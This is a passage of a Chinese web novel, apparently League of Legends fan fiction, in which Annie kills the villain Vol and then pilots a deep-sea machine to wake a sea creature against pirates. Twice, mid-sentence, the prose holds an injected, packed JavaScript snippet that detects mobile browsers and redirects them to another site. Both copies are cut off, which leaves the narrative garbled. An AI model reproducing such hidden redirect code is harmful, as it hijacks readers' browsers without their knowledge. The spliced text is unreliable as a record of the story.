萨芙怔愣的片刻,安妮窜到她的身边,将她掐着小男孩的手直接折断,肩膀提起回到之前的空地。 疼痛感甚至比眼前的场景变换来的慢些。 “啊啊啊!” 萨芙这是第一次被伤得这么严重,她看着扭曲变形的手腕,全身发抖,太阳穴直颤。 然而这还没完,安妮在下一秒按住她的天灵盖。 “放轻松,你这样,我很难办啊。伊娃说搜魂的时候,被搜的人精神崩溃才更好操作,我是不是应该先把你打一顿?或者……折断四肢。” 想到搜魂的痛苦,萨芙顿时白了脸。 那是一种能够让人被搜魂结束后自杀以求解脱的痛,全身的神经乃至灵魂都在震颤的痛,一种生不如死的痛…… 她终于吓得全身颤抖,丝毫不敢反抗。 “求你,放了我吧,我再也不敢了!我带你去,我带你去!不要搜魂!我可以帮你引出他们!” 安妮这次没有立刻答应,她似乎在思考。 沉默良久,才开口:“搜魂虽然累,但是有效啊!记忆是不会骗人的。没关系,下次你再骗我我就直接搜魂好了,省时省力。” “好的!您放心,我绝对不会再跑了!沃尔他们其实在青绿沼泽,到了磐石城我亲自带您去!” 萨芙将被折断的手轻轻放在胸前权当保护,安妮看在眼里,却没有管她扭曲的手腕。见状,萨芙只能咬着牙在前面带路。 沃尔的确还在莫格莱斯所规定的区域——磐石城内。但青绿沼泽地处磐石城东南方,甚至不在城内。 这是一片无人打扰的自然沼泽,杂草丛生,各种浮游植物掩盖住沼泽的本体。即使在白天,依旧看不到任何潜藏的危险。 安妮走到一片沼泽地边缘,看向萨芙。 “把他叫出来,或者,他在哪儿?” “他就在这片沼泽地,但是具体位置我也不知道……真的不知道!您相信我!” “是么?” 萨芙已经被吓老实,应该不会骗自己。 安妮放出神识感知了一下环境,确定沼泽并不大后,直接运起幽冥寒焰。 她的脚下高温瞬间集聚,然后扩散开来,在碰到萨芙的前一刻又迅速转弯。周围的植物全部被点燃,沼泽几乎变成岩浆,熊熊烈焰吞噬着一切,空气都灼烧起来。 萨芙就站在火焰内,却没有被波及到一片衣角。 这样恐怖的掌控力…… “刺啦……” “噼啪… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296894|198573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …” 不断有荆棘枯叶爆裂成灰,然后灰都不剩。 就在火舌贪婪地蔓延的时候,安妮忽然听到“咻”的一声。 她眼神微凛,偏头轻松躲过了毒刺。毒刺转瞬间被远处的火焰焚烧殆尽。它的主人正要离开,安妮直接飞速窜上前,落下幽冥扇拦住来人去路。 这是一只脏兮兮的老鼠人。 尖牙瘦脸,高颧骨烂耳朵,一口黄牙,牙缝里还有粘液。圆形小眼镜挡住了小眼睛,架着眼镜的鼻梁高高翘起,棕黑的鼻头上还有黑点。 穿着水桶改造的破烂上衣,□□的灯笼裤松松垮垮,脚爪子还是原始形态。整只老鼠透着肮脏卑劣的气息,好像多看一眼都会被污染。 “摩斯?”安妮眯起眼,“沃尔在哪?” 摩斯没看安妮,而是朝着萨芙怒吼:“叛徒!你这个叛徒!” 他的声音沙哑低沉,没有安妮想象中的尖细。 “你如果经历那些审问手段,也会招供的!” 萨芙反驳。 安妮并不理会两人的争执,摩斯隐藏的方式启发了她,她静下心来感知了一下周围,很快在自己之前忽视的地方发现了异常。 黑暗牢笼瞬间生成,甚至在下一秒非常人性化地移动,将沃尔带到安妮面前。 这是一个精壮的紫色皮肤的人,披着一件三角兜帽的斗篷,紫色束腰,腰侧插着一把匕首。他的眼睛闪着智慧的蓝光,额头处的符文流光溢彩。 被安妮困在黑暗牢笼里,沃尔却没有萨芙的惊慌。 他只是端详着安妮,像一个全知全能的老者。这样的视线,安妮曾经在加丁身上感受到过。 “好久不见,伊娃。” 他的声音要更加深沉幽远,就好像古老的钟。 “如果你不想被他劝说成功的话,最好现在——立刻马上杀了他。” 伊娃的声音在安妮脑海中响起。 安妮手指微颤。 尽管设想过无数次这样的画面,她依旧有些下不去手。 “长途跋涉,真是辛苦了。我想,我们可以聊聊?” 沃尔环顾四周,但沼泽地其实已经被安妮焚烧成火焰山了。而他语气轻松,就好像周围没什么变化,从兜里拿出一个水壶,一叠叶子,然后倒上水…… 安妮看见递到眼前的叶子和上面的水,脑海中复杂的思绪一闪而过。 “弗斯,哦不,应该说是加丁。他目前,正在创造地狱之花,那才是一切黑暗的源泉,和他比起来,我不过是小巫见大巫。” 不得不说,沃尔的话一下子触动了安妮的神经。 她不由自主想听下去,哪怕知道面前人在苟延残喘。 “地狱之花,由七原罪浇灌,多的我也推测不出来,但我知道,那是一种让人无法拒绝的花。” “无法拒绝?” “是的,无法拒绝。所有沾染上地狱之花的人,都会被控制。怎样控制不得而知,但一定是绝对的控制。” “你就那么确定?” “加丁不会做无用功。”沃尔说完,顺手递给安妮一个果子,“天道也不会。” “这件事,还有天道的手笔?” 安妮抬头,轻声呢喃。她下意识接过果子,就仿佛沉浸在了沃尔的讲述里。 沃尔也不藏私,点头,严肃道:“我的前主人应该已经跟你讲过光明与黑暗制衡的故事。——只有黑暗的力量强大了,光明才会强大。 地狱之花的形成助力了黑暗的成长,那么代表光明的天道一方也会相应地成长起来,这就是为什么天道要帮助加丁。 与其让黑暗以自己不知道的方式成长起来,增长力量,不如将其掌控在自己手里,不是么?” “你说得对。” 换成自己,也会这样做的,反正地狱之花作用不到自己身上。 “一切好像顺理成章,但我知道,你是黑暗,却不黑暗,你一定不愿意眼睁睁看着地狱之花成型。 在被加丁丢给皇城之前,我偷偷接触过地狱之花,我敢说,除了他,没有人比我更了解那朵花。我可以告诉你地狱之花在哪,帮助你铲除地狱之花。” “说完了?” 沃尔沉默了。 他要说的,确实就是这些,再无其他了。 安妮见沃尔闭嘴,闪身,离开。 沃尔、萨芙和摩斯全部被留在了沼泽地内,而周围,幽冥寒焰还在燃烧。 “你居然没有被洗脑?” “我只是想到了……” 荼恩。 安妮抓着头发,感觉心烦意乱到了极点,但好像意识又很清晰。 杀了沃尔,这个想法她从未动摇过。 “那你相信地狱之花的存在吗?” “也许吧。” 她的脑袋很乱,乱到不想相信。世界上真的会有让人言听计从的毒药?可这明明连魔法都做不到。 “其实,只要不亲眼看着,杀戮很简单。那些在沙盘上就决定士兵生死的人,在千里之外就可以下令斩杀的人,不都是这样吗?” “杀死一个人,也远远比你想象的简单。不需要刀劈砍,不需要枪瞄准,甚至不需要大炮,只用升起幽冥寒焰,火光一闪……” “也许吧。” 就像现在,只要不看见沃尔他们,自己就好像不是杀死他们的凶手。 “动手吧,杀了他,你拯救的是更多的人。你早就在心里劝过自己了,现在还要犹豫吗?” 安妮闭眼,深吸一口气。 幽冥寒焰熊熊燃烧,终于将周围的一切都焚烧殆尽。 18. 18 安妮杀掉沃尔以后,便马不停蹄地往回赶。 失去沃尔的皇城不足为惧,相信很快就会有捷报传来了。 坐在约德尔城内,喝着莫斯卡准备的茶,安妮正感觉松了口气,准备带着她前往圣城,一个小兵忽然急急忙忙地冲进来。 是和提莫相似风格的打扮,在安妮了解约德尔城的时候就已经见过了。 “发生什么事了?” 莫斯卡已经把安妮视为“小主人”,这也表现在她日常的行为上。就比如现在,她非常自然地下桌,拿起信件,再回到安妮身边递给她。 就像当初侍奉伊娃的卜拉克。 安妮并未阻止,这种上下级的关系总好过模模糊糊,她已经不想和莫斯卡做朋友。 信是草原上惯用的牛皮纸,字迹不知为何,安妮明明没见过,却第一时间感觉这是维思朵写出的。 娟秀流畅,但又暗藏锋芒。 上面的内容很简短,但也很关键。 暴风平原的海盗们退兵了。 按理说,这该是件好事,斯特恩斯甚至杀鸡宰羊庆祝了一番。但是维思朵留了个心眼,依旧探查着海盗们的行踪。这一查,真让她查出了不对劲。 海盗们打算走吞噬之海的边缘,饶过暴风平原,偷袭约德尔城。 吞噬之海因它海底千奇百怪却都能够吞噬生命的怪物得名,除了为求宝藏不要命的疯子,基本没人会在上面航行。 但若是走边缘,可能并没有那么危险。 至少,这些想要绕路偷袭的海盗是这样想的。 而蛮族的人,就算能够在海上阻击,也不可能打得过。他们是大地的孩子,天生不善水战。 如今海盗们还只是跃跃欲试,但想来,一旦突破不了蛮族的陆地防线,海盗们就会转变策略。这个时间不会太久,尤其送信还送了这么久。 说不定海盗已经出发,一部分已经漂浮在海上。 伊娃寄居在安妮的识海边缘,虽然不能共享神识,但共享视觉还是没问题的。此刻,她看完了信件,顿时和安妮一样陷入了沉思。 毕竟,除了杀死辛诺这点上,她都是和安妮统一战线的。安妮想要守护约德尔城,她只会支持。 “谁送的信,说了什么?” 莫斯卡见安妮看了信一直不说话,主动询问。 “和你没关系。” 安妮从来不觉得莫斯卡会守护约德尔城,大笔捐助钱财,不过是伊娃的命令罢了。安妮毫不怀疑,只要伊娃一声令下,莫斯卡立马就能撤回帮助。 她走向一旁画着沙盘的地图,开始继续思考。 感谢埃克斯当初的教导,她学会了看沙盘。 “也许,我们该让他们知道吞噬之海因何而得名了。” 伊娃的声音忽然响起。 “什么意思?” 安妮仿佛心有灵犀,看向标注着吞噬之海的地方。 “吞噬之海其实一直有一个脾气不太好的老家伙,他住在海底,占据了大片海域。大部分时间他都在睡觉,但一旦苏醒,他就会开始吞噬,海面上的生灵,无一例外全都会进他的肚子。 这就是许多人所说的,吞噬之海没有规律的‘吞噬之潮’。其实,这个看似很像自然灾害的漩涡大潮就是他进食的过程罢了。 倘若把他唤醒,别说沿海,就是海岸边的生物都不一定能幸免于难。当然,那些海盗最后也会尸骨无存,这甚至只是顺带的。” “你是说……恩格孚?” “你认识他?” 伊娃有些惊讶。 安妮没有解释,但还是在心里回答了。 艾德文特的地图上有标注,只是,画的是一个圈。她还以为“恩格孚”是什么地点,没想到竟然是生物。 只有一个脑子的生物,却占据了世界地图的一个圈。 哪怕这个圈只有小米大,也足以想见恩格孚有多大。 虽然……这个面积更有可能是艾德文特想象的。 “恩格孚大吗?” “你如果说的是体型,那我只能回答你,不知道。他寄生在海底,或者说本就是海底的一部分,也许他就是整片海域呢?——谁也说不准。” 安妮握拳,陷入纠结。 唤醒恩格孚确实是如今最有效的办法,就算海盗还没有进入沿海,也会被吞噬之潮吓得望而却步。倘若他们已经上去一部分,那更好,到时候一下子就能削弱他们都大部分兵力。 但是,这样做真的好吗? 吞噬之潮的威力,不用亲身经历,只是描述,安妮就能想象出惨烈的景象。海盗们甚至只是死亡的冰山一角,那些海洋生物,动植物们,才是大头。 可恰恰它们是最无辜的。 伊娃甚至不用费尽心思猜,就知道安妮在犹豫什么。 她语气轻松,就好像在安慰安妮:“吞噬之海自有一套它自己的生存法则,不然千百年过去,里面为什么还会有生物? 吞噬之潮从来不会赶尽杀绝,唤醒恩格孚也不是什么罪大恶极的事情。 更何况,战争不就是这样残酷的吗?当初瘟疫之源摩斯下毒的时候,可没有怜悯你们的人。 我还是那句话,你的每一次杀人,都是在救人。” 安妮撑在桌上,脑海里,伊娃的声音回荡。她很不想每一次都这么认同伊娃,但伊娃每一次说的,却正是她所想的。 安妮最后还是决定了,前去唤醒恩格孚。 至于海面上有没有海盗,有多少,她已经不在意,也没叫人去探查。 就算查到了,她去阻止,海盗们会离开吗?当然不会。 就像他们的立场一样,永远是不死不休。 决定并不是最难的,决定之后怎么做其实才是关键。好在,一看到吞噬之海,安妮就想起了某个人当初对自己作品的介绍。 “就是在吞噬之海的吞噬之潮中心,它也能安然无恙。扎进海底几十米稳固身形,再在结束后迅速出土离开,就是家常便饭。” 深海泰坦,“征服者号”。 也许,要再去一趟斩月山了。 想到那个发明家,安妮心中一热。 “你先在这里等着,我还要离开一段时间。” 原本计划的偷袭迟迟无法实现,安妮都想让莫斯卡直接自己赶往圣城了,但最后她还是放弃了这个想法。 莫斯卡对此倒是接受良好,对安妮的安排毫无异议。 出发的时间在一个清晨,没有欢送仪式,不过起码有送别的人。 阿木木。 崔丝塔娜和提莫都忙得不可开交,少女早已没有之前无忧无虑将她送别的闲心。自然也没有什么送别礼物,但安妮会永远记得脚上的符文。 她迎着朝霞离开,目标明确地朝斩月山奔去。 其实她已经记不住斩月山的入口了,也找不到布鲁和克莱尔,但是到达斩月山边缘的那一刻,安妮就已经找到进入的方法。 谁叫这漫山遍野都是科瑞特用于监视的机器人呢? 之前她逃跑的路上还顺走了一个。 安妮大大方方站在一个扁圆的小机器人面前,任由小机器人将她全身扫描,然后把信息上传。 这个过程一定很慢,因为她站了半天,酷似卡在原地的小机器人才再次动弹起来。 “咔咔……” “簌簌……” 随着小机器人转身,周围传来密密麻麻的声响。来自四面八方,根本无法定位。不过安妮并没有感觉到恶意,因此也就没动。 然后,她就看见从草丛里、树枝上、灌木丛中……各式各样的小机器人爬出来。 圆的方的、鼓的扁的,奇形怪状,有些自己都是第一次见。 它们不约而同地咔咔作响,就好像在说“欢迎光临”。紧接着,机器人们分别站在两边,用身体连成机械的平行线,形成一条容两人通过的小径。 全都是冷冰冰的金属,可它们的动作却让安妮心中温暖。 就好像道路的尽头,是家。 安妮擦了擦眼角的湿润,走上小径。 提伯斯不喜欢水,因此安妮这次没有带上他。空旷的小径只有安妮一个人走着,她却感觉陪伴无处不在。 越走,周围的花草树木越繁杂。最后,安妮看到了不远处一个黄黄的大块头。 还有旁边漂浮着的银色人偶。 安妮加快步伐,终于,看到了机器人和人偶中间,那个娇小的、伟大的科学家。 “欢迎回家,我的孩子。” 科瑞特的声音还是那么沙哑,带着一丝苍老,就好像巫阿婆,好像树爷爷,好像基兰…… 她的家被天道毁了,但是她还有很多个家…… 安妮被科瑞特亲自迎回了科技王国。 扫兴的伊娃一直在脑海里赞叹,偶尔询问一些机器的运行原理和作用,安妮通通无视。 科瑞特并不知道安妮脑子里多了东西,安妮也不想告诉这个老人家,让他徒增烦恼。于是一路上她都若无其事地和科瑞特聊着天,只是走到王国的内部,两人都默契地停在了门前。 大门还是那么宏伟壮观,还没打开,安妮就已经能想到里面的景象。机械一定还是看似杂乱却井然有序的,毕竟,他们始终是机器。 “说吧,来这里是为了什么?虽然我很希望你能有时间来陪我这个糟老头子,但现在你应该很忙吧。” 果然,即使是一心研究的科瑞特,也能知道她二次前来的目的不单纯。 “我想借用一下深海泰坦。”安妮有些不好意思,补充道,“放心,我用完很快就会还回来。作为交换,你可以让我帮忙做点别的。” “噢,孩子,不需要做什么,能帮到你我很高兴。” 科瑞特打开大门,在手腕上点点,很快出现一辆巨大舒适的敞篷车。他坐上去,亲昵地摆着手,示意安妮跟上。 “真的不用做什么吗?”安妮坐在科瑞特旁边,“比如搜集什么材料,或者解决什么问题之类的,我其实都可以……” “不用,你现在要做的就是在到达深海实验室之前熟悉一下深海泰坦的操作,通过实机考验是你唯一需要完成的。” 科瑞特把一个小册子交给安妮,上面写着深海泰坦的介绍以及详细的操作。深海泰坦就仿佛一辆巨型坦克,内里按键很多,还有操作杆。 虽然安妮从来没有使用过科技王国的机械,但深海泰坦的操作其实简单易懂,除去最基础的移动,就是加速减速,以及攻击防御。但是它的攻击和防御方式都比较简单,主要是劈砍、格挡。 “那些花里胡哨的攻击你可能用不到,学习好怎么开启极速掘地就行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296895|198573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。” 极速掘地就是深海泰坦避开吞噬之潮的主要方式,和名字一样,其实就是钻到地下躲避浪潮。 科瑞特的敞篷车速度很快,到达深海实验室门口的时候,安妮刚把操作记完。 虽然科瑞特说她只需要记住一些基础的招式,但安妮记性很好,还是把所有东西都烂熟于心了——以备不时之需。 “到了,还需要继续看吗?我可以去启动室等你。” “不用了,谢谢。” 这一路上她都在看书,之前也只是和科瑞特简单寒暄了两句,可以说,这次的相处和之前截然不同。 上一次的交流是分享,那些稀奇古怪的经历就像是兑换科技王国门票的敲门砖,而这一次却是科瑞特单方面的给予。 安妮除了感激,真的不知道还能表达什么。 但科瑞特只是摆摆手,云淡风轻:“不知道为什么,一看到你就很亲切。帮助你只是随心而为罢了,就像那些故事一样,想说就说了。” “但我还是要感谢你。” 不管怎么说,他对自己的帮助都是无私的。 尤其在遇见了弗莱尔之后,她更是知道了这种帮助的难能可贵。 “好了,赶快进去吧,实机考验也不是那么容易通过的。” 科瑞特脸颊红了,小胡子一抖一抖,暴露了他愉悦的心情。安妮将手册还给他,朝启动室的大门走去。 启动室的大门口,就是深海泰坦打开的天灵盖。 内里的座椅柔软,每个键位都被擦得光亮。周围的银色金属并不刺目,只是透着不同于海水的冰凉。 安妮坐进去,盖子合上、机械启动。 氧气从四面八方传来,充斥了密闭的空间。深海泰坦的视野很开阔,坐在里面能轻松看到前方乃至左右两边的情况。 左上角还投影了一张地图,上面除去深海泰坦的小白点,还有一些黑色线条与红点。 “嘀嘀!嘀嘀!” 这是深海泰坦特有的通讯功能,安妮打开,一个扩音器出现在身边。 “黑色的墙体是平面上的地形,灰色和深黑色是上下一层的地形,红色的点是模拟鱼雷,还有深红的点是机械鲨鱼,稍后你会遇到。你的任务就是前进十千米,通过所有考验。” “好。” 地图是立体的,并且即时更新,安妮必须自行感知其中的数据对应的环境。 不过这一切对她而言都不再新奇,毕竟之前有驾驶过设计更为精密的机甲。 安妮驾驶着深海泰坦,很快就到达了科瑞特所说的考验处。这里除去静止的鱼雷,还有很多横冲直撞的鲨鱼。 当然,无论是墙体、鱼雷还是鲨鱼都是假的,只是被标记了就算输。 地图上的黑色墙体其实是漂浮的红色墨水,可以穿过去,但强行穿过就会被完全覆盖,视为失败。 鱼雷的标记方式是爆炸,靠近了就会被覆盖红墨水;鲨鱼则是冲撞爆炸覆盖红墨水。这两种都只是局部遭殃,只要面积没到百分之五十就不算失败。 深海泰坦左右移动并不能解决一切,有时候还必须上下起伏。复杂诡谲的地形,隐藏在暗处的鱼雷,搭配上神出鬼没的鲨鱼,甚至可能遇到出现死路的情况。 但安妮从不会坐以待毙,她很快掌握了深海泰坦的攻击方法,在鲨鱼还没有碰上来的时候就将它们斩为血雾——这些鲨鱼只有移动、感应和标记装置,其他地方由空气填充,确实是雾。 至于鱼雷,担心爆炸,安妮没有和鲨鱼一样简单粗暴地处理。 她发明了一种很独特的方式,那就是发出深海泰坦的爪子,抓住鲨鱼,然后甩向鱼雷引发爆炸。这个操作对她来说太简单了,安妮有时甚至能一边甩鲨鱼一边砍鲨鱼,近战远程两不误。 明明深海泰坦只是一具机甲,科瑞特却能从它的一举一动中看出兴奋。 是的,兴奋。 就像安妮过去沉浸在战斗中一样,现在的她也沉浸在驾驶机甲的快乐中。她并不觉得这是一场严峻的考验,到最后甚至有些玩乐的感觉。 不得不说,金克丝其实从来没有眼瘸过,安妮和她一样疯狂,只是比她更会隐藏。 最后一个关卡,是一个必输局,整片海都被黑色的墙体由上至下挡住。但其实这些黑色墙体只是投影,真正处在那个位置的还是被控制着漂浮起来的红墨水。 科瑞特意在让深海泰坦撞上墙体,也就是穿过红墨水,从而达到庆祝通关的效果。 毕竟全身红红火火,一直是过年大家所追求的不是么? 但安妮却没有配合地将深海泰坦穿过去。 她在墙体出现的下一秒,操纵深海泰坦朝着海底游去。紧接着,深海泰坦的头顶出现三个刀片,高速旋转化为钻头。在安妮的引导下,深海泰坦快速破开了海底的土壤,往前推进了两米。 紧接着,再次钻出! 深海泰坦穿过了墙面,但是……一尘不染! 它全身银黑,似乎在炫耀胜利。 终点处,科瑞特沉默地看完了一切。紧接着,他站在座椅上,激动地按住旁边克莱尔的双肩,热泪盈眶。 “看到了吗?克莱尔!这就是我要的极限!机械永无止境的极限!” “你上次已经说过了,主人。” 克莱尔眨眨眼。 19. 19 安妮驾驶着征服者号进入海域的时候,还有些不真实感。 科瑞特在岸边挥着手,就像在送远行闯荡的孩子离开。 这是他难得离开斩月山,就像之前欢迎自己的盛况一样,都是独一无二的。 “他真的很喜欢你。” 伊娃在安妮的脑海中,由衷感叹。 而安妮猝不及防,“嗯”了一声。 她察觉到后,立刻收起了回答时的欣喜惬意,全神贯注操控机器朝着海里游去——就好像之前下意识的回答是错觉。 伊娃也不继续说话,她向来懂得循序渐进的道理。 吞噬之海和亚特兰蒂斯是截然不同的环境。 亚特兰蒂斯的海水冰冷刺骨,是置身其中就能感受到的清冷。当初的自己即使不用避水珠,也能感受到那种冰凉; 而吞噬之海,是无尽的黑暗。越往海底行驶越能感受到那种压抑和恐惧,伸手不见五指。但并不冷,或者说这种黑暗带来的负面情绪很好克服。 当然,也有可能是征服者号隔绝了海水,并且还打开了前面的灯,所以安妮感受不到恐惧。 这是安妮第一次清楚地看清海底,原因无他:征服者号的灯太厉害了。 就像两个耀眼的小太阳,三百六十度无死角地照耀清楚海底的每个角落。这是和比格毛斯截然不同的机械灯,比格毛斯的灯光是柔和的、清冷的,和亚特兰蒂斯一样神秘而富有内涵。 偶尔会有长相很奇特的动物游过,其中也不乏灯笼鱼。 但这灯笼鱼就是正常的大小了,并且不知道是不是安妮的私心,她总觉得这些灯笼鱼很丑,也很凶。尖牙在灯光下闪着寒芒,眼睛里全是凶恶贪婪,地包天的嘴唇里獠牙几乎戳到鼻孔。 “你似乎对这些灯笼鱼很感兴趣。” “没有。” “是吗?我忽然想到一个笑话。” 安妮没说话,伊娃也不在意——在她的脑子里自言自语已经成为伊娃的日常。 “你知道这些鱼类为什么都长得这么丑吗?——因为海底没有灯光,也没人看见,所以就随便长长咯!——估计它们也想不到有朝一日会被展露在灯光下吧。” 如果是之前的安妮,一定会觉得此时的伊娃很亲民。 代表黑暗的堕落天使竟然也会讲笑话。 但现在她一点笑的想法都没有。 前方的土壤忽然变成了黑色,和旁边灯光下呈现灰黄的土壤形成鲜明对比。这土壤上方还透着一丝不祥的气息,酷似黑暗之力,但又不太一样。 征服者号的仓库里没有资料,意味着这是科瑞特没有搜集到过的土壤。 或者不是土壤? 安妮伸出征服者号的钳子,想铲一捧土壤看看。 “等等。”察觉到安妮的意图,伊娃抢道。 虽然安妮拒绝和伊娃交流,但不得不承认,每次她提的意见以及说的话都完美适合自己。而伊娃出声,安妮也下意识停下了动作,等着她说话。 “是恩格孚,别惊动他。” “什么?” 根据地图显示,现在安妮虽然不在吞噬之海边缘的位置,但距离中心也还有十万八千里。而恩格孚,怎么会在这里? “恩格孚看似是生物,但其实不是生物,我们可以把他看作一个火山口。他是无数葬身吞噬之海的人的怨气所化,苏醒后拉着更多的人葬身吞噬之海,从而形成循环……因此,比起生物,他更像有着固定程序的死物。” “而这些黑色的土壤,就是他的感知覆盖之处,带着一点点怨气,但是不多。动了这些土壤,恩格孚就会感觉到你的存在,并且收缩或者躲起来。你还没走到恩格孚的中心,这可不是个好时机。” 感谢科瑞特的教学,安妮对机械运转很有心得。 因此她很轻松地便能理解伊娃的话,甚至迅速做出理解。 恩格孚就像一道程序,沉睡就是程序待机,苏醒就是程序启动。这些黑色土壤就是程序逐渐扩大后被同化的新数据,也是传感器。 一旦感知到威胁,恩格孚就会启动保护程序,拒绝启动。 倘若伊娃不解释清楚,安妮这辈子都不会想到,恩格孚是如此复杂的东西。她垂眸,有些失落。 孤独的海洋深处,抬头看不见光明,辛诺的身影,也已经越来越模糊…… 安妮安静地行驶在恩格孚的上方,保持着和鱼类一样的速度。 远远看去,征服者号就像一只大型鲨鱼。 安妮留了个心眼,在看到恩格孚边缘的那一刻便开启了记录功能,然后朝着一个地点直线行驶。她走了十多分钟,土壤的黑化程度还是一样的,可见恩格孚的体型有多大。 她稍微改变了一下方向,继续行驶,总之,一直保持行驶在黑化程度变深的方向。 土壤越来越黑,上方的动物也越来越少。有几次,安妮甚至感觉自己完全沉入黑暗,幸亏征服者号不乱动就不会改变行进方向,她不会绕圈。 不知道游动了多久,安妮终于察觉到一点变化。 征服者号在被往下拉。 海底就好像变成了磁铁,把征服者号往下拖。这样的阻力随着安妮的前进越来越大,到最后,安妮只能尝试把征服者号往上升,脱离这种力量。 虽然不能根据土壤的黑化程度辨认方向,但她其实已经很久没有动方向盘了,征服者号应该已经找到了正确方向。 把征服者号往上升以后,阻力果然变小了。越往上升阻力越小,直到看不见土壤的时候,阻力完全消失。 “知道为什么你会被往下拉吗?因为,其实恩格孚的怨气一直存在,只是有大小之分罢了。之前恩格孚的怨气一直作用在海底,所以大家没有察觉到。直到死亡的人越来越多,怨气大到承受不住,恩格孚便会将所有东西吞噬入身体中和怨气,用的就是这股拉力。” “承受不住?” 难道恩格孚是好的?一直在帮忙吸收怨气? “他本就是怨气而生,摆脱不了怨气,当然只能承受。” 原来是被动地承受。 交流的时间,安妮已经行驶到恩格孚的中心。 为什么知道是中心?因为怨气几乎实体化了。 黑蒙蒙的雾气包裹住她,压抑、沉闷。灯光就仿佛被吞噬,浮空的机器被无形的触手缠绕。 想往上都已经不行了,只能慢慢往下沉。 好在,安妮有自信,她绝对能操纵着征服者号钻入海底,启动恩格孚,并且全身而退! 安妮驾驶着征服者号慢慢往下,但不知为何,无论灯光多亮,她都看不清楚一点。就这样无知无觉地沉下去,困意袭来…… “再去买点菜吧,家里实在是没有吃的了。” 安妮睁开眼,就听到一个温柔的声音。淡然,却夹杂着无奈,就好像这是一个让人为难的请求。 很久以前,安妮听到过这种语气,它来自祖神村的妇女们。 安妮其实很少体会到贫穷,她带着金币去光明学院求学,菲缇帮她免除了学费,还有资助。后来带着金克丝给的金币前往守望麦田,进入麦田后更是不愁吃穿,这也是为什么安妮感受不到对金钱的贪婪。 而现在,就这一句话,安妮就感受到了女人的窘迫。 站在她对面的是一个长着大胡子的男人,任由她为自己整理着衣襟。 “我也没钱了……” “可是妈妈不能不吃饭,还有孩子……” 男人看向禁闭的卧室门,眼神悲伤。 安妮顺着视线看去,木门已经腐蚀生锈。她如今只是魂灵一般的存在,因此轻易地穿过了泥巴墙。 而里面躺着的,是一个须发斑白的老人。 她看着窗外,眼神中是同样的悲伤和无奈。旁边放着一张桌子,一个凳子,一个男孩坐在上面写作业,场面原本应该是温馨的,安妮却只看出了一种陷入泥沼的绝望。 陈旧的被褥,崎岖的烂地,灰蒙蒙的土墙,都昭示出这个家庭并不富裕。甚至,因为临近海边空气潮湿,腐蚀严重,比祖神村的茅草屋还不如。 是的,靠近海边。 安妮也不知道为什么,就是很确定,这是海边。就像当初进入莱沃的记忆,顺理成章地知道那是从前的源大陆一样。 “咔嚓……” 门被打开,是那个男人离开了。 安妮纠结片刻,还是追了出去。 男人先是转角去敲了旁边人的门,看见熟悉的面孔,他支支吾吾:“那个,兄弟,麻烦你再借我几十枚铜币,家里实在揭不开锅了……” 铜币是源大陆最低等的货币,和金币的比例是一比一万,安妮甚至连铜币的样子都没仔细看过…… 她觉得现实的真相好像正在自己面前,一点点被撕开,之前所认为的苦难和悲伤不值一提。 “兄弟,不是我不借给你,我也只是在深海边缘走了一圈,打到几条大鱼,分到一点红,实在是帮不了你……” 被借钱的那人身上虽然不至于补丁打补丁,但衣服依然皱巴巴的,十分陈旧。 就在他也愁眉苦脸的时候,旁边走来一个穿金戴银的中年男人。他叼着旱烟,神色倨傲,连带着脊背都是挺直的,和面前的人仿佛不在一个世界。 “奥迪耐啊,你怎么又来借钱啊?之前我才看你找那个谁来着?对,莫尼。你不才找莫尼借了几百枚铜币吗?这么快又没了?” 他说着,从口袋里掏出几串铜币,拍在一旁的架子上:“之前好歹兄弟一场,这些就当是我给你买酒了。” 他说完离开。 明明没有一句嘲讽责备,安妮却感受到了无边的窘迫和羞愤。然而,身为当事人的奥迪耐却拿起了铜币,青筋暴起。 “不就是出了次深海,捞到个宝箱吗?真是……” “这也是人家的运气。”奥迪耐说完,苦笑一声,“钱我就不借了,谢谢了兄弟,我买菜去了,孩子还等着。” “好……” 奥迪耐终于拿着钱,朝菜摊走去。 一路上很多叫卖的商贩,但他目不斜视。直到,看见一辆车。 源大陆的车其实并不多,因为有灵力支撑,所以脚程并不比车慢,车还麻烦。安妮唯一一次大规模看到车,是在科技王国欣赏科瑞特的杰作。 但是看不上不买和想买买不起是有区别的,安妮能感受到男人的艳羡。 车辆在菜市场缓慢行进着,终于到了一个菜市场前面。这些蔬菜都是精品,也是奥迪耐买不起的存在。 但他可以看看…… 看见车上下来的只是一个穿着朴素,提着篮子的大妈,奥迪耐收回视线,自嘲地笑了一声。 安妮仿佛和他感同身受,心中,有什么情绪在累积。 奥迪耐终于到达了菜摊,一个摆在菜市场边缘,成品极差的摊子——就和他一样。他在菜摊面前举止流畅地砍价、挑选,无视摊贩鄙视的眼神。 这是一种堪称争吵的砍价,和阿狸姐姐闲情逸致更像聊天的砍价不同,巨大的声音甚至吸引了周围人,但是奥迪耐视若无睹。 安妮反而如芒在背。 就在奥迪耐做完一切,安妮松了口气的时候,他却朝最近的垃圾桶走去。然后动作迅速地,偷偷拿走了垃圾桶最上方稍微腐烂的蔬菜。 一切都是那么自然、平常。 钱,他需要钱。 这不是安妮第一次感受到记忆主人公的迫切心情,只是上一次是莱沃想要证明自己罢了。 